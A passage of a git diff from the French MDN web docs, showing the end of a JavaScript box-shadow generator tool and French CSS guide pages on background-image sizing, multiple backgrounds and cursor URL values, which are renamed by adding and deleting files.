+			active.render.splice(position, 0, null);
+		}
+
+		var swapShadow = function swapShadow(id1, id2) {
+			var x = active.shadows[id1];
+			active.shadows[id1] = active.shadows[id2];
+			active.shadows[id2] = x;
+			updateShadowCSS(id1);
+			updateShadowCSS(id2);
+		}
+
+		var deleteShadow = function deleteShadow(position) {
+			active.shadows.splice(position, 1);
+			active.render.splice(position, 1);
+			active.updateShadows();
+		}
+
+		var setActiveShadow = function setActiveShadow(id, glow) {
+			active.shadowID = id;
+			ColoPicker.setColor(active.shadows[id].color);
+			ButtonManager.setValue("inset", active.shadows[id].inset);
+			SliderManager.setValue("blur", active.shadows[id].blur);
+			SliderManager.setValue("spread", active.shadows[id].spread);
+			SliderManager.setValue("posX", active.shadows[id].posX);
+			SliderManager.setValue("posY", active.shadows[id].posY);
+			if (glow === true)
+				addGlowEffect(id);
+		}
+
+		var addGlowEffect = function addGlowEffect(id) {
+			if (animate === true)
+				return;
+
+			animate = true;
+			var store = new Shadow();
+			var shadow = active.shadows[id];
+
+			store.copy(shadow);
+			shadow.color.setRGBA(40, 125, 200, 1);
+			shadow.blur = 10;
+			shadow.spread = 10;
+
+			active.node.style.transition = "box-shadow 0.2s";
+			updateShadowCSS(id);
+
+			setTimeout(function() {
+				shadow.copy(store);
+				updateShadowCSS(id);
+				setTimeout(function() {
+					active.node.style.removeProperty("transition");
+					animate = false;
+				}, 100);
+			}, 200);
+		}
+
+		var updateActivePos = function updateActivePos(deltaX, deltaY) {
+			if (active.shadowID === null)
+				active.updatePos(deltaX, deltaY);
+			else
+				updateShadowPos(deltaX, deltaY);
+		}
+
+		/*
+		 * Shadow properties
+		 */
+		var updateShadowCSS = function updateShadowCSS(id) {
+			active.render[id] = active.shadows[id].computeCSS();
+			active.updateShadows();
+		}
+
+		var toggleShadowInset = function toggleShadowInset(value) {
+			if (active.shadowID === null)
+				return;
+			active.shadows[active.shadowID].toggleInset(value);
+			updateShadowCSS(active.shadowID);
+		}
+
+		var updateShadowPos = function updateShadowPos(deltaX, deltaY) {
+			var shadow = active.shadows[active.shadowID];
+			shadow.posX += deltaX;
+			shadow.posY += deltaY;
+			SliderManager.setValue("posX", shadow.posX);
+			SliderManager.setValue("posY", shadow.posY);
+			updateShadowCSS(active.shadowID);
+		}
+
+		var setShadowPosX = function setShadowPosX(value) {
+			if (active.shadowID === null)
+				return;
+			active.shadows[active.shadowID].posX = value;
+			updateShadowCSS(active.shadowID);
+		}
+
+		var setShadowPosY = function setShadowPosY(value) {
+			if (active.shadowID === null)
+				return;
+			active.shadows[active.shadowID].posY = value;
+			updateShadowCSS(active.shadowID);
+		}
+
+		var setShadowBlur = function setShadowBlur(value) {
+			if (active.shadowID === null)
+				return;
+			active.shadows[active.shadowID].blur = value;
+			updateShadowCSS(active.shadowID);
+		}
+
+		var setShadowSpread = function setShadowSpread(value) {
+			if (active.shadowID === null)
+				return;
+			active.shadows[active.shadowID].spread = value;
+			updateShadowCSS(active.shadowID);
+		}
+
+		var updateShadowColor = function updateShadowColor(color) {
+			active.shadows[active.shadowID].color.copy(color);
+			updateShadowCSS(active.shadowID);
+		}
+
+		/*
+		 * Element Properties
+		 */
+		var updateColor = function updateColor(color) {
+			if (active.shadowID === null)
+				active.updateBgColor(color);
+			else
+				updateShadowColor(color);
+		}
+
+		var init = function init() {
+			preview = getElemById("preview");
+
+			ColoPicker.subscribe("color", updateColor);
+			PreviewMouseTracking.subscribe(updateActivePos);
+
+			// Affects shadows
+			ButtonManager.subscribe("inset", toggleShadowInset);
+			SliderManager.subscribe("posX", setShadowPosX);
+			SliderManager.subscribe("posY", setShadowPosY);
+			SliderManager.subscribe("blur", setShadowBlur);
+			SliderManager.subscribe("spread", setShadowSpread);
+
+			// Affects element
+			SliderManager.subscribe("top", function(value){
+				active.setTop(value);
+			});
+			SliderManager.subscribe("left", function(value){
+				active.setLeft(value);
+			});
+			SliderManager.subscribe("rotate", function(value) {
+				if (active == classes["element"])
+					return;
+				active.setRotate(value);
+			});
+
+			SliderManager.subscribe("z-index", function(value) {
+				if (active == classes["element"])
+					return;
+				active.setzIndex(value);
+			});
+
+			SliderManager.subscribe("width", function(value) {
+				active.setWidth(value)
+			});
+
+			SliderManager.subscribe("height", function(value) {
+				active.setHeight(value)
+			});
+
+			// Actions
+			classes['before'].top = -30;
+			classes['before'].left = -30;
+			classes['after'].top = 30;
+			classes['after'].left = 30;
+			classes['before'].toggleDisplay(false);
+			classes['after'].toggleDisplay(false);
+			ButtonManager.setValue('before', false);
+			ButtonManager.setValue('after', false);
+
+			ButtonManager.subscribe("before", classes['before'].toggleDisplay.bind(classes['before']));
+			ButtonManager.subscribe("after", classes['after'].toggleDisplay.bind(classes['after']));
+
+			ButtonManager.subscribe("border-state", function(value) {
+				active.toggleBorder(value);
+			});
+
+		}
+
+		return {
+			init 			: init,
+			addShadow		: addShadow,
+			swapShadow		: swapShadow,
+			addCssClass		: addCssClass,
+			disableClass	: disableClass,
+			deleteShadow	: deleteShadow,
+			setActiveClass	: setActiveClass,
+			setActiveShadow : setActiveShadow
+		}
+
+	})();
+
+	/**
+	 * Layer Manager
+	 */
+	var LayerManager = (function LayerManager() {
+		var stacks = [];
+		var active = {
+			node : null,
+			stack : null
+		}
+		var elements = {};
+
+		var mouseEvents = function mouseEvents(e) {
+			var node = e.target;
+			var type = node.getAttribute('data-type');
+
+			if (type === 'subject')
+				setActiveStack(stacks[node.id]);
+
+			if (type === 'disable') {
+				Tool.disableClass(node.parentNode.id);
+				setActiveStack(stacks['element']);
+			}
+
+			if (type === 'add')
+				active.stack.addLayer();
+
+			if (type === 'layer')
+				active.stack.setActiveLayer(node);
+
+			if (type === 'delete')
+				active.stack.deleteLayer(node.parentNode);
+
+			if (type === 'move-up')
+				active.stack.moveLayer(1);
+
+			if (type === 'move-down')
+				active.stack.moveLayer(-1);
+		}
+
+		var setActiveStack = function setActiveStack(stackObj) {
+			active.stack.hide();
+			active.stack = stackObj;
+			active.stack.show();
+		}
+
+		/*
+		 * Stack object
+		 */
+		var Stack = function Stack(subject) {
+			var S = document.createElement('div');
+			var title = document.createElement('div');
+			var stack = document.createElement('div');
+
+			S.className = 'container';
+			stack.className = 'stack';
+			title.className = 'title';
+			title.textContent = subject.getAttribute('data-title');
+			S.appendChild(title);
+			S.appendChild(stack);
+
+			this.id = subject.id;
+			this.container = S;
+			this.stack = stack;
+			this.subject = subject;
+			this.order = [];
+			this.uid = 0;
+			this.count = 0;
+			this.layer = null;
+			this.layerID = 0;
+		}
+
+		Stack.prototype.addLayer = function addLayer() {
+			if (Tool.addShadow(this.layerID) == -1)
+				return;
+
+			var uid = this.getUID();
+			var layer = this.createLayer(uid);
+
+			if (this.layer === null && this.stack.children.length >= 1)
+				this.layer = this.stack.children[0];
+
+			this.stack.insertBefore(layer, this.layer);
+			this.order.splice(this.layerID, 0, uid);
+			this.count++;
+			this.setActiveLayer(layer);
+		}
+
+		Stack.prototype.createLayer = function createLayer(uid) {
+			var layer = document.createElement('div');
+			var del = document.createElement('span');
+
+			layer.className = 'node';
+			layer.setAttribute('data-shid', uid);
+			layer.setAttribute('data-type', 'layer');
+			layer.textContent = 'Ombre ' + uid;
+
+			del.className = 'delete';
+			del.setAttribute('data-type', 'delete');
+
+			layer.appendChild(del);
+			return layer;
+		}
+
+		Stack.prototype.getUID = function getUID() {
+			return this.uid++;
+		}
+
+		// SOLVE IE BUG
+		Stack.prototype.moveLayer = function moveLayer(direction) {
+			if (this.count <= 1 || this.layer === null)
+				return;
+			if (direction === -1 && this.layerID === (this.count - 1) )
+				return;
+			if (direction === 1 && this.layerID === 0 )
+				return;
+
+			if (direction === -1) {
+				var before = null;
+				Tool.swapShadow(this.layerID, this.layerID + 1);
+				this.swapOrder(this.layerID, this.layerID + 1);
+				this.layerID += 1;
+
+				if (this.layerID + 1 !== this.count)
+					before = this.stack.children[this.layerID + 1];
+
+				this.stack.insertBefore(this.layer, before);
+				Tool.setActiveShadow(this.layerID, false);
+			}
+
+			if (direction === 1) {
+				Tool.swapShadow(this.layerID, this.layerID - 1);
+				this.swapOrder(this.layerID, this.layerID - 1);
+				this.layerID -= 1;
+				this.stack.insertBefore(this.layer, this.stack.children[this.layerID]);
+				Tool.setActiveShadow(this.layerID, false);
+			}
+		}
+
+		Stack.prototype.swapOrder = function swapOrder(pos1, pos2) {
+			var x = this.order[pos1];
+			this.order[pos1] = this.order[pos2];
+			this.order[pos2] = x;
+		}
+
+		Stack.prototype.deleteLayer = function deleteLayer(node) {
+			var shadowID =  node.getAttribute('data-shid') | 0;
+			var index = this.order.indexOf(shadowID);
+			this.stack.removeChild(this.stack.children[index]);
+			this.order.splice(index, 1);
+			this.count--;
+
+			Tool.deleteShadow(index);
+
+			if (index > this.layerID)
+				return;
+
+			if (index == this.layerID) {
+				if (this.count >= 1) {
+					this.layerID = 0;
+					this.setActiveLayer(this.stack.children[0], true);
+				}
+				else {
+					this.layer = null;
+					this.show();
+				}
+			}
+
+			if (index < this.layerID) {
+				this.layerID--;
+				Tool.setActiveShadow(this.layerID, true);
+			}
+
+		}
+
+		Stack.prototype.setActiveLayer = function setActiveLayer(node) {
+			elements.shadow_properties.style.display = 'block';
+			elements.element_properties.style.display = 'none';
+
+			if (this.layer)
+				this.layer.removeAttribute('data-active');
+
+			this.layer = node;
+			this.layer.setAttribute('data-active', 'layer');
+
+			var shadowID =  node.getAttribute('data-shid') | 0;
+			this.layerID = this.order.indexOf(shadowID);
+			Tool.setActiveShadow(this.layerID, true);
+		}
+
+		Stack.prototype.unsetActiveLayer = function unsetActiveLayer() {
+			if (this.layer)
+				this.layer.removeAttribute('data-active');
+
+			this.layer = null;
+			this.layerID = 0;
+		}
+
+		Stack.prototype.hide = function hide() {
+			this.unsetActiveLayer();
+			this.subject.removeAttribute('data-active');
+			var style = this.container.style;
+			style.left = '100%';
+			style.zIndex = '0';
+		}
+
+		Stack.prototype.show = function show() {
+			elements.shadow_properties.style.display = 'none';
+			elements.element_properties.style.display = 'block';
+
+			if (this.id === 'element') {
+				elements.zIndex.style.display = 'none';
+				elements.transform_rotate.style.display = 'none';
+			}
+			else {
+				elements.zIndex.style.display = 'block';
+				elements.transform_rotate.style.display = 'block';
+			}
+
+			this.subject.setAttribute('data-active', 'subject');
+			var style = this.container.style;
+			style.left = '0';
+			style.zIndex = '10';
+			Tool.setActiveClass(this.id);
+		}
+
+		function init() {
+
+			var elem, size;
+			var layerManager = getElemById("layer_manager");
+			var layerMenu = getElemById("layer_menu");
+			var container = getElemById("stack_container");
+
+			elements.shadow_properties = getElemById('shadow_properties');
+			elements.element_properties = getElemById('element_properties');
+			elements.transform_rotate = getElemById('transform_rotate');
+			elements.zIndex = getElemById('z-index');
+
+			elem = document.querySelectorAll('#layer_menu [data-type="subject"]');
+			size = elem.length;
+
+			for (var i = 0; i < size; i++) {
+				var S = new Stack(elem[i]);
+				stacks[elem[i].id] = S;
+				container.appendChild(S.container);
+				Tool.addCssClass(elem[i].id);
+			}
+
+			active.stack = stacks['element'];
+			stacks['element'].show();
+
+			layerManager.addEventListener("click", mouseEvents);
+			layerMenu.addEventListener("click", mouseEvents);
+
+			ButtonManager.subscribe("before", function(value) {
+				if (value === false && active.stack === stacks['before'])
+					setActiveStack(stacks['element'])
+				if (value === true && active.stack !== stacks['before'])
+					setActiveStack(stacks['before'])
+			});
+
+			ButtonManager.subscribe("after", function(value) {
+				if (value === false && active.stack === stacks['after'])
+					setActiveStack(stacks['element'])
+				if (value === true && active.stack !== stacks['after'])
+					setActiveStack(stacks['after'])
+			});
+		}
+
+		return {
+			init : init
+		}
+	})();
+
+	/*
+	 * OutputManager
+	 */
+	var OutputManager = (function OutputManager() {
+		var classes = [];
+		var buttons = [];
+		var active = null;
+		var menu = null;
+		var button_offset = 0;
+
+		var crateOutputNode = function(topic, property) {
+
+			var prop = document.createElement('div');
+			var name = document.createElement('span');
+			var value = document.createElement('span');
+
+			var pmatch = property.match(/(^([a-z0-9\-]*)=\[([a-z0-9\-\"]*)\])|^([a-z0-9\-]*)/i);
+
+			name.textContent = '\t' + pmatch[4];
+
+			if (pmatch[3] !== undefined) {
+				name.textContent = '\t' + pmatch[2];
+				value.textContent = pmatch[3] + ';';
+			}
+
+			name.textContent += ': ';
+			prop.className = 'css-property';
+			name.className = 'name';
+			value.className = 'value';
+			prop.appendChild(name);
+			prop.appendChild(value);
+
+			classes[topic].node.appendChild(prop);
+			classes[topic].line[property] = prop;
+			classes[topic].prop[property] = value;
+		}
+
+		var OutputClass = function OutputClass(node) {
+			var topic = node.getAttribute('data-topic');
+			var prop = node.getAttribute('data-prop');
+			var name = node.getAttribute('data-name');
+			var properties = prop.split(' ');
+
+			classes[topic] = {};
+			classes[topic].node = node;
+			classes[topic].prop = [];
+			classes[topic].line = [];
+			classes[topic].button = new Button(topic);
+
+			var open_decl = document.createElement('div');
+			var end_decl = document.createElement('div');
+
+			open_decl.textContent = name + ' {';
+			end_decl.textContent = '}';
+			node.appendChild(open_decl);
+
+			for (var i in properties)
+				crateOutputNode(topic, properties[i]);
+
+			node.appendChild(end_decl);
+		}
+
+		var Button = function Button(topic) {
+			var button = document.createElement('div');
+
+			button.className = 'button';
+			button.textContent = topic;
+			button.style.left = button_offset + 'px';
+			button_offset += 100;
+
+			button.addEventListener("click", function() {
+				toggleDisplay(topic);
+			})
+
+			menu.appendChild(button);
+			return button;
+		}
+
+		var toggleDisplay = function toggleDisplay(topic) {
+			active.button.removeAttribute('data-active');
+			active.node.style.display = 'none';
+			active = classes[topic];
+			active.node.style.display = 'block';
+			active.button.setAttribute('data-active', 'true');
+		}
+
+		var toggleButton = function toggleButton(topic, value) {
+			var display = (value === true) ? 'block' : 'none';
+			classes[topic].button.style.display = display;
+
+			if (value === true)
+				toggleDisplay(topic);
+			else
+				toggleDisplay('element');
+		}
+
+		var updateProperty = function updateProperty(topic, property, data) {
+			try {
+				classes[topic].prop[property].textContent = data + ';';
+			}
+			catch(error) {
+				// console.log("ERROR undefined : ", topic, property, data);
+			}
+		}
+
+		var toggleProperty = function toggleProperty(topic, property, value) {
+			var display = (value === true) ? 'block' : 'none';
+			try {
+				classes[topic].line[property].style.display = display;
+			}
+			catch(error) {
+				// console.log("ERROR undefined : ",classes, topic, property, value);
+			}
+		}
+
+		var init = function init() {
+
+			menu = getElemById('menu');
+
+			var elem = document.querySelectorAll('#output .output');
+			var size = elem.length;
+			for (var i = 0; i < size; i++)
+				OutputClass(elem[i]);
+
+			active = classes['element'];
+			toggleDisplay('element');
+
+			ButtonManager.subscribe("before", function(value) {
+				toggleButton('before', value);
+			});
+
+			ButtonManager.subscribe("after", function(value) {
+				toggleButton('after', value);
+			});
+		}
+
+		return {
+			init : init,
+			updateProperty : updateProperty,
+			toggleProperty : toggleProperty
+		}
+
+	})();
+
+
+	/**
+	 * Init Tool
+	 */
+	var init = function init() {
+		ButtonManager.init();
+		OutputManager.init();
+		ColoPicker.init();
+		SliderManager.init();
+		LayerManager.init();
+		PreviewMouseTracking.init("preview");
+		Tool.init();
+	}
+
+	return {
+		init : init
+	}
+
+})();
+
+
+
+
+ +
{{EmbedLiveSample('box-shadow_generator', '100%', '1100px', '')}}
+ +

Voir aussi

+ + diff --git a/files/fr/web/css/css_backgrounds_and_borders/resizing_background_images/index.html b/files/fr/web/css/css_backgrounds_and_borders/resizing_background_images/index.html new file mode 100644 index 0000000000..f9cce126c9 --- /dev/null +++ b/files/fr/web/css/css_backgrounds_and_borders/resizing_background_images/index.html @@ -0,0 +1,117 @@ +--- +title: Mettre à l'échelle des images en arrière-plan +slug: Web/CSS/CSS_Backgrounds_and_Borders/Scaling_background_images +tags: + - CSS + - Guide + - Intermédiaire + - Reference +translation_of: Web/CSS/CSS_Backgrounds_and_Borders/Resizing_background_images +--- +
{{CSSRef}}
+ +

La propriété CSS {{cssxref("background-size")}} permet d'ajuster la taille des images utilisées en arrière-plan et de remplacer le comportement par défaut qui consiste à créer un carrelage de l'image à sa pleine grandeur. Il est ainsi possible d'agrandir ou de rapetisser l'image.

+ +

Carreler une image de grande taille

+ +

Prenons une image de grande taille (par exemple l'ancien logo de Firefox en 2485x2340px). On souhaite la carreler en quatre copies de 300x300 px, comme dans l'image suivante.

+ +

+ +

On peut utiliser la feuille de style CSS suivante pour obtenir l'effet voulu :

+ +
.square {
+  width: 300px;
+  height: 300px;
+  background-image: url(https://www.mozilla.org/media/img/logos/firefox/logo-quantum.9c5e96634f92.png);
+  border: solid 2px;
+  text-shadow: white 0px 0px 2px;
+  font-size: 16px;
+  background-size: 150px;
+}
+
+ +

On notera que, dans l'exemple précédent, une seule valeur avait été précisée pour {{cssxref("background-size")}} : 150 px. Dans ce cas, cette valeur est utilisée pour la largeur et la hauteur est alors fixée à auto.

+ +

Étirer une image

+ +

Il est aussi possible de spécifier, respectivement, la largeur et la hauteur de l'image, comme dans l'exemple suivant, où la taille de l'image est imposée à 300x150 px.

+ +
background-size: 300px 150px;
+
+ +

L'image suivante montre le résultat obtenu.

+ +

Logo de Firefox étité

+ +

Agrandir une image

+ +

On peut agrandir une image en arrière-plan. À l'image suivante, une favicône de 32x32 px est agrandie à 300x300 px.

+ +

Logo MDN à l'échelle

+ +
.square2 {
+  width: 300px;
+  height: 300px;
+  background-image: url(favicon.png);
+  background-size: 300px;
+  border: solid 2px;
+  text-shadow: white 0px 0px 2px;
+  font-size: 16px;
+}
+
+ +

On remarque que la feuille de style utilisée est identique à la précédente, sauf en ce qui concerne le nom de l'image.

+ +

Valeurs spéciales : contain et cover

+ +

En plus de {{cssxref("<length>")}}, la propriété CSS {{cssxref("background-size")}} permet d'employer deux autres valeurs : contain et cover. 

+ +

contain

+ +

La valeur contain spécifie les dimensions de l'image d'arrière-plan de manière à ce que sa largeur et sa hauteur soient aussi grandes que possible, tout en conservant l'image à l'intérieur de son élément conteneur. Ainsi, l'image ne peut déborder de son élément conteneur.

+ +

Essayez de redimensionner la fenêtre de votre navigateur afin de voir la valeur contain en action (Votre navigateur doit supporter la mise à l'échelle d'images d'arrière-plan).

+ +
+

{{EmbedLiveSample("contain", "100%", "220")}}

+
+ +
<div class="bgSizeContain">
+  <p>Redimensionnez la fenêtre de votre navigateur.</p>
+</div>
+ +
.bgSizeContain {
+  height: 200px;
+  background-image: url(https://www.mozilla.org/media/img/logos/firefox/logo-quantum.9c5e96634f92.png);
+  background-size: contain;
+  border: 2px solid darkgray;
+  color: #000; text-shadow: 1px 1px 0 #fff;
+}
+ +

cover

+ +

La valeur cover assure que l'image d'arrière-plan soit aussi petite que possible, tout en maintenant ses dimensions plus grandes ou égales à la taille de l'élément conteneur. L'échelle entre la largeur et la hauteur est maintenue.

+ +

{{EmbedLiveSample("cover", "100%", "220")}}

+ +

Cet exemple utilise le document HTML et la feuille de style suivants :

+ +
<div class="bgSizeCover">
+  <p>Redimensionnez la fenêtre de votre navigateur.</p>
+</div>
+ +
.bgSizeCover {
+  height: 200px;
+  background-image: url(https://www.mozilla.org/media/img/logos/firefox/logo-quantum.9c5e96634f92.png);
+  background-size: cover;
+  border: 2px solid darkgray;
+  color: #000; text-shadow: 1px 1px 0 #fff;
+
+ +

Voir aussi

+ +
    +
  • {{cssxref("background-size")}}
    • +
  • {{cssxref("background")}}
    • +
diff --git a/files/fr/web/css/css_backgrounds_and_borders/scaling_background_images/index.html b/files/fr/web/css/css_backgrounds_and_borders/scaling_background_images/index.html deleted file mode 100644 index f9cce126c9..0000000000 --- a/files/fr/web/css/css_backgrounds_and_borders/scaling_background_images/index.html +++ /dev/null @@ -1,117 +0,0 @@ ---- -title: Mettre à l'échelle des images en arrière-plan -slug: Web/CSS/CSS_Backgrounds_and_Borders/Scaling_background_images -tags: - - CSS - - Guide - - Intermédiaire - - Reference -translation_of: Web/CSS/CSS_Backgrounds_and_Borders/Resizing_background_images ---- -
{{CSSRef}}
- -

La propriété CSS {{cssxref("background-size")}} permet d'ajuster la taille des images utilisées en arrière-plan et de remplacer le comportement par défaut qui consiste à créer un carrelage de l'image à sa pleine grandeur. Il est ainsi possible d'agrandir ou de rapetisser l'image.

- -

Carreler une image de grande taille

- -

Prenons une image de grande taille (par exemple l'ancien logo de Firefox en 2485x2340px). On souhaite la carreler en quatre copies de 300x300 px, comme dans l'image suivante.

- -

- -

On peut utiliser la feuille de style CSS suivante pour obtenir l'effet voulu :

- -
.square {
-  width: 300px;
-  height: 300px;
-  background-image: url(https://www.mozilla.org/media/img/logos/firefox/logo-quantum.9c5e96634f92.png);
-  border: solid 2px;
-  text-shadow: white 0px 0px 2px;
-  font-size: 16px;
-  background-size: 150px;
-}
-
- -

On notera que, dans l'exemple précédent, une seule valeur avait été précisée pour {{cssxref("background-size")}} : 150 px. Dans ce cas, cette valeur est utilisée pour la largeur et la hauteur est alors fixée à auto.

- -

Étirer une image

- -

Il est aussi possible de spécifier, respectivement, la largeur et la hauteur de l'image, comme dans l'exemple suivant, où la taille de l'image est imposée à 300x150 px.

- -
background-size: 300px 150px;
-
- -

L'image suivante montre le résultat obtenu.

- -

Logo de Firefox étité

- -

Agrandir une image

- -

On peut agrandir une image en arrière-plan. À l'image suivante, une favicône de 32x32 px est agrandie à 300x300 px.

- -

Logo MDN à l'échelle

- -
.square2 {
-  width: 300px;
-  height: 300px;
-  background-image: url(favicon.png);
-  background-size: 300px;
-  border: solid 2px;
-  text-shadow: white 0px 0px 2px;
-  font-size: 16px;
-}
-
- -

On remarque que la feuille de style utilisée est identique à la précédente, sauf en ce qui concerne le nom de l'image.

- -

Valeurs spéciales : contain et cover

- -

En plus de {{cssxref("<length>")}}, la propriété CSS {{cssxref("background-size")}} permet d'employer deux autres valeurs : contain et cover. 

- -

contain

- -

La valeur contain spécifie les dimensions de l'image d'arrière-plan de manière à ce que sa largeur et sa hauteur soient aussi grandes que possible, tout en conservant l'image à l'intérieur de son élément conteneur. Ainsi, l'image ne peut déborder de son élément conteneur.

- -

Essayez de redimensionner la fenêtre de votre navigateur afin de voir la valeur contain en action (Votre navigateur doit supporter la mise à l'échelle d'images d'arrière-plan).

- -
-

{{EmbedLiveSample("contain", "100%", "220")}}

-
- -
<div class="bgSizeContain">
-  <p>Redimensionnez la fenêtre de votre navigateur.</p>
-</div>
- -
.bgSizeContain {
-  height: 200px;
-  background-image: url(https://www.mozilla.org/media/img/logos/firefox/logo-quantum.9c5e96634f92.png);
-  background-size: contain;
-  border: 2px solid darkgray;
-  color: #000; text-shadow: 1px 1px 0 #fff;
-}
- -

cover

- -

La valeur cover assure que l'image d'arrière-plan soit aussi petite que possible, tout en maintenant ses dimensions plus grandes ou égales à la taille de l'élément conteneur. L'échelle entre la largeur et la hauteur est maintenue.

- -

{{EmbedLiveSample("cover", "100%", "220")}}

- -

Cet exemple utilise le document HTML et la feuille de style suivants :

- -
<div class="bgSizeCover">
-  <p>Redimensionnez la fenêtre de votre navigateur.</p>
-</div>
- -
.bgSizeCover {
-  height: 200px;
-  background-image: url(https://www.mozilla.org/media/img/logos/firefox/logo-quantum.9c5e96634f92.png);
-  background-size: cover;
-  border: 2px solid darkgray;
-  color: #000; text-shadow: 1px 1px 0 #fff;
-
- -

Voir aussi

- -
    -
  • {{cssxref("background-size")}}
    • -
  • {{cssxref("background")}}
    • -
diff --git a/files/fr/web/css/css_backgrounds_and_borders/using_multiple_backgrounds/index.html b/files/fr/web/css/css_backgrounds_and_borders/using_multiple_backgrounds/index.html new file mode 100644 index 0000000000..fd4961c49f --- /dev/null +++ b/files/fr/web/css/css_backgrounds_and_borders/using_multiple_backgrounds/index.html @@ -0,0 +1,55 @@ +--- +title: Utiliser plusieurs arrière-plans +slug: Web/CSS/CSS_Backgrounds_and_Borders/Utiliser_plusieurs_arrière-plans +tags: + - CSS + - Guide + - Reference +translation_of: Web/CSS/CSS_Backgrounds_and_Borders/Using_multiple_backgrounds +--- +
{{CSSRef}}
+ +

Avec CSS3, on peut appliquer plusieurs arrière-plans à des éléments. Ceux-ci seront empilés les uns sur les autres (le premier de la liste étant le plus « haut » dans la pile et le dernier étant le plus « bas ». Seul le dernier arrière-plan peut décrire une couleur.

+ +

Pour cela, il suffit simplement d'utiliser une liste de valeur avec {{cssxref("background")}} :

+ +
.maClasse {
+  background: background1, background 2, ..., backgroundN;
+}
+
+ +

Cela fonctionne aussi bien avec la propriété raccourcie {{cssxref("background")}} qu'avec les propriétés détaillées, exception faite de {{cssxref("background-color")}}. On peut donc utiliser une liste de valeurs, chacune pour un arrière-plan différent, pour les propriétés suivantes : {{cssxref("background")}}, {{cssxref("background-attachment")}}, {{cssxref("background-clip")}}, {{cssxref("background-image")}}, {{cssxref("background-origin")}}, {{cssxref("background-position")}}, {{cssxref("background-repeat")}}, {{cssxref("background-size")}}.

+ +

Exemples

+ +

Dans cet exemple, on cumule trois arrière-plans : le logo de Firefox, un dégradé linéaire (cf. {{cssxref("linear-gradient")}}) et une image de bulles.

+ +

CSS

+ +
.exemple_multi_ar {
+  width: 100%;
+  height: 400px;
+  background-image: url(https://mdn.mozillademos.org/files/11305/firefox.png), url(https://mdn.mozillademos.org/files/11307/bubbles.png), linear-gradient(to right, rgba(30, 75, 115, 1), rgba(255, 255, 255, 0));
+  background-repeat: no-repeat, no-repeat, no-repeat;
+  background-position: bottom right, left, right;
+}
+ +

HTML

+ +
<div class="exemple_multi_ar"></div>
+ +

Résultat

+ +

{{EmbedLiveSample('Exemple','100%','400')}}

+ +

Comme on peut le voir ici, le logo qui est le premier élément de la liste apparaît en dessus, il est suivi par le dégradé puis par les bulles. Chacune des propriétés ({{cssxref("background-repeat")}} et {{cssxref("background-position")}}) s'applique aux arrière-plans correspondant (la première valeur de la liste pour le premier arrière-plan, etc.).

+ +
+

Note : Si l'image n'apparaît pas sous CodePen, cliquez sur le bouton Tidy de la section CSS.

+
+ +

Voir aussi

+ + diff --git "a/files/fr/web/css/css_backgrounds_and_borders/utiliser_plusieurs_arri\303\250re-plans/index.html" "b/files/fr/web/css/css_backgrounds_and_borders/utiliser_plusieurs_arri\303\250re-plans/index.html" deleted file mode 100644 index fd4961c49f..0000000000 --- "a/files/fr/web/css/css_backgrounds_and_borders/utiliser_plusieurs_arri\303\250re-plans/index.html" +++ /dev/null @@ -1,55 +0,0 @@ ---- -title: Utiliser plusieurs arrière-plans -slug: Web/CSS/CSS_Backgrounds_and_Borders/Utiliser_plusieurs_arrière-plans -tags: - - CSS - - Guide - - Reference -translation_of: Web/CSS/CSS_Backgrounds_and_Borders/Using_multiple_backgrounds ---- -
{{CSSRef}}
- -

Avec CSS3, on peut appliquer plusieurs arrière-plans à des éléments. Ceux-ci seront empilés les uns sur les autres (le premier de la liste étant le plus « haut » dans la pile et le dernier étant le plus « bas ». Seul le dernier arrière-plan peut décrire une couleur.

- -

Pour cela, il suffit simplement d'utiliser une liste de valeur avec {{cssxref("background")}} :

- -
.maClasse {
-  background: background1, background 2, ..., backgroundN;
-}
-
- -

Cela fonctionne aussi bien avec la propriété raccourcie {{cssxref("background")}} qu'avec les propriétés détaillées, exception faite de {{cssxref("background-color")}}. On peut donc utiliser une liste de valeurs, chacune pour un arrière-plan différent, pour les propriétés suivantes : {{cssxref("background")}}, {{cssxref("background-attachment")}}, {{cssxref("background-clip")}}, {{cssxref("background-image")}}, {{cssxref("background-origin")}}, {{cssxref("background-position")}}, {{cssxref("background-repeat")}}, {{cssxref("background-size")}}.

- -

Exemples

- -

Dans cet exemple, on cumule trois arrière-plans : le logo de Firefox, un dégradé linéaire (cf. {{cssxref("linear-gradient")}}) et une image de bulles.

- -

CSS

- -
.exemple_multi_ar {
-  width: 100%;
-  height: 400px;
-  background-image: url(https://mdn.mozillademos.org/files/11305/firefox.png), url(https://mdn.mozillademos.org/files/11307/bubbles.png), linear-gradient(to right, rgba(30, 75, 115, 1), rgba(255, 255, 255, 0));
-  background-repeat: no-repeat, no-repeat, no-repeat;
-  background-position: bottom right, left, right;
-}
- -

HTML

- -
<div class="exemple_multi_ar"></div>
- -

Résultat

- -

{{EmbedLiveSample('Exemple','100%','400')}}

- -

Comme on peut le voir ici, le logo qui est le premier élément de la liste apparaît en dessus, il est suivi par le dégradé puis par les bulles. Chacune des propriétés ({{cssxref("background-repeat")}} et {{cssxref("background-position")}}) s'applique aux arrière-plans correspondant (la première valeur de la liste pour le premier arrière-plan, etc.).

- -
-

Note : Si l'image n'apparaît pas sous CodePen, cliquez sur le bouton Tidy de la section CSS.

-
- -

Voir aussi

- - diff --git a/files/fr/web/css/css_basic_user_interface/using_url_values_for_the_cursor_property/index.html b/files/fr/web/css/css_basic_user_interface/using_url_values_for_the_cursor_property/index.html new file mode 100644 index 0000000000..69b0043c13 --- /dev/null +++ b/files/fr/web/css/css_basic_user_interface/using_url_values_for_the_cursor_property/index.html @@ -0,0 +1,104 @@ +--- +title: Utilisation d'URL pour la propriété cursor +slug: Web/CSS/CSS_Basic_User_Interface/Utilisation_d_URL_pour_la_propriété_cursor +tags: + - CSS + - Débutant + - Guide +translation_of: Web/CSS/CSS_Basic_User_Interface/Using_URL_values_for_the_cursor_property +--- +
{{CSSRef}}
+ +

Gecko 1.8 ({{geckoRelease("1.8")}} prend en charge des valeurs d'URL pour manipuler la propriété {{cssxref("cursor")}}. Ceci permet de définir des images arbitraires comme curseurs de souris — n'importe quel format d'image géré par Gecko peut être utilisé.

+ +

Syntaxe

+ +

La syntaxe de base (CSS 2.1) pour cette propriété est :

+ +
{{CSSxRef("cursor")}}: [ {{CSSxRef("<url>")}} , ]* {{CSSxRef("cursor", "<keyword>", "#Valeurs")}}
+ +

Ceci signifie que zéro URL ou plus peuvent être définies en étant séparées par des virgules et doivent être suivies par un des mots-clés comme auto ou pointer.

+ +

On pourra ainsi utiliser :

+ +
